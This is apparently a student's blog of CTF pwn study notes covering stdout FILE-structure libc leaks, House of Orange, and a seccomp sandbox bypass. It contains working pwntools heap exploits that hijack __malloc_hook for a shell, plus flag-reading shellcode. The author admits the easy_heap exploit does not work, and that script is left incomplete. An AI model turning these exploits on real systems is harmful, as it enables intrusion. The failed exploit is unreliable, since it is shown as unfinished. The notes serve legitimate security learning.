2024暑期学习(二)

暑期学习(2)

学习内容:

1.了解了IO stdout泄露libc基址,但相关细节还没完全弄清楚。(SRCTF新生赛题目还是没做出来,等wp出来好好复现一下)T T

2.了解一点House of Orange,easy_heap复现那里有问题。

3.复现了一点点题目

stdout 泄露 libc 基址

前置知识

在这里插入图片描述

程序正确执行到 _IO_overflow 时会将输出缓冲区中的数据输出出来,只要将要泄露的位置设置为输出缓冲区就可以泄露内容,但还要绕过一系列检查。

  • 设置 _flag &~ _IO_NO_WRITES_flag &~ 0x8。
  • 设置 _flag & _IO_CURRENTLY_PUTTING_flag | 0x800
  • 设置 _fileno 为1。
  • 设置 _IO_write_base 指向想要泄露的地方;_IO_write_ptr 指向泄露结束的地址。
  • 设置 _IO_read_end 等于 _IO_write_base 或设置 _flag & _IO_IS_APPENDING_flag | 0x1000。
  • 设置 _IO_write_end 等于 _IO_write_ptr(非必须)。

满足上述五个条件,可实现任意读。

对于没有输出功能的堆题,要想泄露 libc 基址就需要劫持 _IO_2_1_stdout_ 结构体。
可以利用 fast bin attack 在 _IO_2_1_stdout_-0x43 处申请 fast bin。

_flag伪造成0xfbad1880

libc2.23

为了方便调试,可以关掉ASLR:

echo 0 > /proc/sys/kernel/randomize_va_space
  • 0 = 关闭
  • 1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。)
  • 2 = 全随机。除了1中所述,还有heap。

看下_IO_2_1_stdout_结构体:

pwndbg> p _IO_2_1_stdout_
$1 = {
  file = {
    _flags = -72537977,
    _IO_read_ptr = 0x7ffff7dd56a3 <_IO_2_1_stdout_+131> "\n",
    _IO_read_end = 0x7ffff7dd56a3 <_IO_2_1_stdout_+131> "\n",
    _IO_read_base = 0x7ffff7dd56a3 <_IO_2_1_stdout_+131> "\n",
    _IO_write_base = 0x7ffff7dd56a3 <_IO_2_1_stdout_+131> "\n",
    _IO_write_ptr = 0x7ffff7dd56a3 <_IO_2_1_stdout_+131> "\n",
    _IO_write_end = 0x7ffff7dd56a3 <_IO_2_1_stdout_+131> "\n",
    _IO_buf_base = 0x7ffff7dd56a3 <_IO_2_1_stdout_+131> "\n",
    _IO_buf_end = 0x7ffff7dd56a4 <_IO_2_1_stdout_+132> "",
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7ffff7dd48e0 <_IO_2_1_stdin_>,
    _fileno = 1,
    _flags2 = 0,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "\n",
    _lock = 0x7ffff7dd6780 <_IO_stdfile_1_lock>,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x7ffff7dd47a0 <_IO_wide_data_1>,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = -1,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7ffff7dd36e0 <__GI__IO_file_jumps>
}

查看下地址:

pwndbg> p &_IO_2_1_stdout_
$2 = (_IO_FILE_plus *) 0x7ffff7dd5620 <_IO_2_1_stdout_>

之后修改 _IO_write_base 指针的最低 1 字节为 \x88 使其指向 _chain 变量,而 _chain 变量中存储了 _IO_2_1_stdin_ 结构体地址,程序在下一次输出内容时会先将 write buf 中的内容输出出来,因此可以泄露 libc 基地址。

image-20240802111810287

add(0x60, '\x00' * 0x33 + p32(0xfbad1880) + ";sh;" + p64(0) * 3 + p8(0x88))  # 5 write_base -> _IO_2_1_stdin_
pwndbg> x/20gx 0x7ffff7dd5620-0x43
0x7ffff7dd55dd <_IO_2_1_stderr_+157>:	0xfff7dd4660000000	0x000000000000007f
0x7ffff7dd55ed <_IO_2_1_stderr_+173>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd55fd <_IO_2_1_stderr_+189>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd560d <_IO_2_1_stderr_+205>:	0x0000000000000000	0xfff7dd36e0000000
0x7ffff7dd561d <_IO_2_1_stderr_+221>:	0x00fbad288700007f	0xfff7dd56a3000000
0x7ffff7dd562d <_IO_2_1_stdout_+13>:	0xfff7dd56a300007f	0xfff7dd56a300007f
0x7ffff7dd563d <_IO_2_1_stdout_+29>:	0xfff7dd56a300007f	0xfff7dd56a300007f
0x7ffff7dd564d <_IO_2_1_stdout_+45>:	0xfff7dd56a300007f	0xfff7dd56a300007f
0x7ffff7dd565d <_IO_2_1_stdout_+61>:	0xfff7dd56a400007f	0x000000000000007f
0x7ffff7dd566d <_IO_2_1_stdout_+77>:	0x0000000000000000	0x0000000000000000

exp:

from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
#context.log_level = 'debug'
context.timeout = 0.5


def add_chunk(index, size):
    p.sendafter("choice:", "1")
    p.sendafter("index:", str(index))
    p.sendafter("size:", str(size))


def delete_chunk(index):
    p.sendafter("choice:", "2")
    p.sendafter("index:", str(index))


def edit_chunk(index, content):
    p.sendafter("choice:", "3")
    p.sendafter("index:", str(index))
    p.sendafter("length:", str(len(content)))
    p.sendafter("content:", content)


def show_chunk(index):             //假装没有show函数
    p.sendafter("choice:", "4")
    p.sendafter("index:", str(index))



while True:
    p = process([elf.path])
    try:
         add_chunk(0, 0x68)
         add_chunk(1, 0x98)
         add_chunk(2, 0x68)

         delete_chunk(1)
         add_chunk(3, 0x28)
         add_chunk(1, 0x68)
         edit_chunk(1, p16(0x55dd))

         delete_chunk(2)
         delete_chunk(0)
         delete_chunk(2)
         add_chunk(2, 0x68)
         edit_chunk(2, p16(0xc0a0))

         add_chunk(4, 0x68)
         add_chunk(4, 0x68)
         add_chunk(4, 0x68)
         add_chunk(4, 0x68)
         edit_chunk(4, 'a' * 0x33 + p32(0xfbad1880) + ";sh;" + p64(0) * 3 + p8(0x88)) # 5 write_base -> _IO_2_1_stdin_
         libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8, '\x00')) - libc.sym['_IO_2_1_stdin_']
         info("libc base: " + hex(libc.address))


         delete_chunk(0)
         delete_chunk(1)
         delete_chunk(0)

         add_chunk(0, 0x68)
         edit_chunk(0, p64(libc.sym["__malloc_hook"] - 0x23))

         one_gadget = [0x3f3e6, 0x3f43a, 0xd5c07][2] + libc.address
         add_chunk(0, 0x68)
         add_chunk(0, 0x68)
         add_chunk(0, 0x68)
         edit_chunk(0, 'a' * 0x13 + p64(one_gadget))
         add_chunk(0, 0x55)

         # gdb.attach(p)

         p.interactive()
    except KeyboardInterrupt:
        exit(0)
    except:
        p.close()




WKCTF

前置知识(House of orange)

House of Orange

house of orange 利用手法有两部分,前半部分是无 free 的情况下得到位于 unsorted bin 的 chunk ,后半部分是利用 unsorted bin attack 劫持 _IO_list_all 实现 FSOP 。

首先是第一部分。如果当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。

但是执行 sysmalloc 来向系统申请内存有 mmap 和 brk 两种分配方式,我们需要让堆以 brk 的形式拓展,之后原有的 top chunk 会被置于 unsorted bin 中。这需要 malloc 的尺寸不能大于mmp_.mmap_threshold

if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))

如果所需分配的 chunk 大小大于 mmap 分配阈值,默认为 128K,并且当前进程使用 mmap() 分配的内存块小于设定的最大值,将使用 mmap() 系统调用直接向操作系统申请内存。

还没咋搞懂哈

easy_heap

检查保护,got可写,没开PIE:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

libc2.23菜单题,没有free函数,add()

unsigned __int64 add()
{
  int v0; // ebx
  int size[7]; // [rsp+4h] [rbp-1Ch] BYREF

  *(_QWORD *)&size[1] = __readfsqword(0x28u);
  size[0] = 0;
  if ( (unsigned int)chunk_number > 0x20 )
  {
    puts("too much");
    exit(0);
  }
  puts("Size :");
  __isoc99_scanf("%d", size);
  if ( size[0] > 0x1000u )
  {
    puts("too large");
    exit(0);
  }
  chunk_size[chunk_number] = size[0];
  v0 = chunk_number;
  (&chunk_ptr)[v0] = (int *)malloc((unsigned int)size[0]);
  puts("Content :");
  read(0, (&chunk_ptr)[chunk_number], (unsigned int)size[0]);
  ++chunk_number;
  return __readfsqword(0x28u) ^ *(_QWORD *)&size[1];
}

edit()数入size可控,可以造成堆溢出:

unsigned __int64 edit()
{
  unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
  _DWORD nbytes[3]; // [rsp+4h] [rbp-Ch] BYREF

  *(_QWORD *)&nbytes[1] = __readfsqword(0x28u);
  v1 = 0;
  nbytes[0] = 0;
  puts("Index :");
  __isoc99_scanf("%d", &v1);
  puts("Size :");
  __isoc99_scanf("%d", nbytes);
  if ( nbytes[0] > 0x1000u )
  {
    puts("too large");
    exit(0);
  }
  puts("Content :");
  read(0, *((void **)&chunk_ptr + v1), nbytes[0]);
  return __readfsqword(0x28u) ^ *(_QWORD *)&nbytes[1];
}

先是House of orange,得到unsorted bin 的chunk,

  • 伪造的 top chunk 的结束位置必须要对齐到内存页(4k)
  • size 要大于 MINSIZE(0x10)
  • size 要小于之后申请的 chunk size + MINSIZE(0x10)
  • size 的 prev inuse 位必须为 1

先申请一个0x68的堆快,看下TOPchunk的size

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x236b000
Size: 0x70 (with flag bits: 0x71)

Top chunk | PREV_INUSE
Addr: 0x236b070
Size: 0x20f90 (with flag bits: 0x20f91)

pwndbg> p/x 0x236b070+0xf90
$1 = 0x236c000

改top chunk的size为0xf91,并申请一个个比0xf91大的chunk,然后申请0x10的chunk来泄露libc:

add(0x68)
payload = 'a' * 0x68 + p64(0xf91)
edit(0, len(payload), payload)

add(0x1000)
add(0x10)

show(2)
libc_addres=u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))-0x5161
info("libc addres: "+hex(libc_addres))
gdb.attach(p)
one_gadget=[0x4527a,0x4527a,0xf1247][0]+libc_addres
malloc_hook=libc_addres+libc.sym['__malloc_hook']

此时堆的情况,再申请一个0xf40来清空bin

image-20240805204335704

然后用同样的办法,将新的 top_chunk 链入到 fastbin,其中要注意的是需要控制好伪造的 top_chunk_size 的大小和堆块被切割后的剩余大小,才能被链入目标 bin 链

后续这里我没有成功,找不到新的top_chunk!!!

exp:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['127.0.0.1', 9999]
pwnfile = './pwn'

elf = ELF(pwnfile)
libcfile = './libc-2.23.so'
libc = ELF(libcfile)
# libc = elf.libc

def loginfo(a, b=None):
    if b is None:
        log.info(a)
    else:
        log.info(a + hex(b))

if len(sys.argv) == 2:
    if 'p' in sys.argv[1]:
        p = process(pwnfile)
    elif 'r' in sys.argv[1]:
        p = remote(ip_port[0], ip_port[1])
else:
    loginfo("INVALID_PARAMETER")
    sys.exit(1)

def recv64_addr():
    return u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

def menu(index):
    p.sendlineafter('>\n', str(index))

def add(size, content='a'):
    menu(1)
    p.sendlineafter('Size :\n', str(size))
    p.sendafter('Content :\n', content)

def edit(index, size, content='a'):
    menu(2)
    p.sendlineafter('Index :\n', str(index))
    p.sendlineafter('Size :\n', str(size))
    p.sendafter('Content :\n', content)

def show(index):
    menu(3)
    p.sendlineafter('Index :\n', str(index))

def exp():
    # debug()
    add(0x68)           # 0
    payload = 'a'*0x68 + p64(0xf91)
    edit(0, len(payload), payload)

    add(0x1000)         # 1
    add(0x10)           # 2
    show(2)

    libc_addr = recv64_addr()
    libc_base = libc_addr - 0x3c5161
    one_gadget = [0x4527a, 0xf03a4, 0xf1247]
    shell = libc_base + one_gadget[2]
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    # pause()
    add(0xf48)          # 3, chunk empty

    # pause()
    add(0x68)           # 4
    payload = 'a'*0x68 + p64(0xf81)
    edit(4, 0x70, payload)
    add(0xf00-0x20)     # 5, edit this chunk
    add(0x100)          # 6

    payload = 'a'*(0xf00-0x20+0x8) + p64(0x71) + p64(malloc_hook - 0x23)
    edit(5, len(payload), payload)

    add(0x68)
    payload = p8(0)*3 + p64(0)*2 + p64(shell)
    add(0x68, payload)
    menu(1)
    p.sendlineafter('Size :\n', str(1))


p.interactive()

2024春秋杯夏

Shuffled_Execution

保护全开

main():

int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rsi
  __int64 v4; // rax
  char *s; // [rsp+28h] [rbp-18h]

  init();
  s = (char *)mmap((void *)0x1337000, 0x1000uLL, 7, 34, -1, 0LL);
  if ( s == (char *)-1LL )
  {
    perror("mmap failed");
    exit(1);
  }
  syscall(0LL, 0LL, 0x1337000LL, 0x250LL);
  v3 = strlen(s);
  shuffle(s, v3);
  if ( v3 <= 0xAF )
  {
    sandbox();
    jmp_shell();
    LODWORD(v4) = 0;
  }
  else
  {
    return (int)"Error triggered...";
  }
  return v4;
}

沙箱规则如下:

➜  Shuffled_Execution seccomp-tools dump ./Shuffled_Execution
The only chance to pass the entrance.

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0d 0xc000003e  if (A != ARCH_X86_64) goto 0015
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0a 0xffffffff  if (A != 0xffffffff) goto 0015
 0005: 0x15 0x09 0x00 0x00000000  if (A == read) goto 0015
 0006: 0x15 0x08 0x00 0x00000001  if (A == write) goto 0015
 0007: 0x15 0x07 0x00 0x00000002  if (A == open) goto 0015
 0008: 0x15 0x06 0x00 0x00000011  if (A == pread64) goto 0015
 0009: 0x15 0x05 0x00 0x00000013  if (A == readv) goto 0015
 0010: 0x15 0x04 0x00 0x00000028  if (A == sendfile) goto 0015
 0011: 0x15 0x03 0x00 0x0000003b  if (A == execve) goto 0015
 0012: 0x15 0x02 0x00 0x00000127  if (A == preadv) goto 0015
 0013: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0015
 0014: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0015: 0x06 0x00 0x00 0x00000000  return KILL

read、write、open被禁了,选择使用 openat, preadv2, writev 进行 orw flag,用户输入后会在 shuffle() 函数中对输入进行变换,但是操作长度 sc_lenv3 = strlen(s) 传入,所以可以使用 "\x00" 来绕过

exp:

from pwn import *
p = process('./Shuffled_Execution')
elf = ELF('./Shuffled_Execution')
libc = ('./libc.so.6')
context(os='linux', arch='amd64', log_level='debug')

shellcode = '''
	mov rbp,0x1337100
	mov rsp,rbp
    mov rax, 0x67616c662f2e
    push rax
    xor rdi, rdi
    sub rdi, 100
    mov rsi, rsp
    xor rdx, rdx
    push SYS_openat
    pop rax
    syscall

    mov rdi, 3
    push 0x30
    lea rbx, [rsp-8]
    push rbx
    mov rsi, rsp
    mov rdx, 1
    xor r10, r10
    xor r8, r8
    push SYS_preadv2
    pop rax
    syscall

    push 1
    pop rdi
    push 0x1
    pop rdx
    push 0x30
    lea rbx, [rsp+8]
    push rbx
    mov rsi, rsp
    push SYS_writev
    pop rax
    syscall
'''
shellcode = asm(shellcode)
p.send(shellcode)
print(p.recv())

posted @   cosyQAQ  阅读(22)  评论(0编辑  收藏  举报
努力加载评论中...
点击右上角即可分享
微信分享提示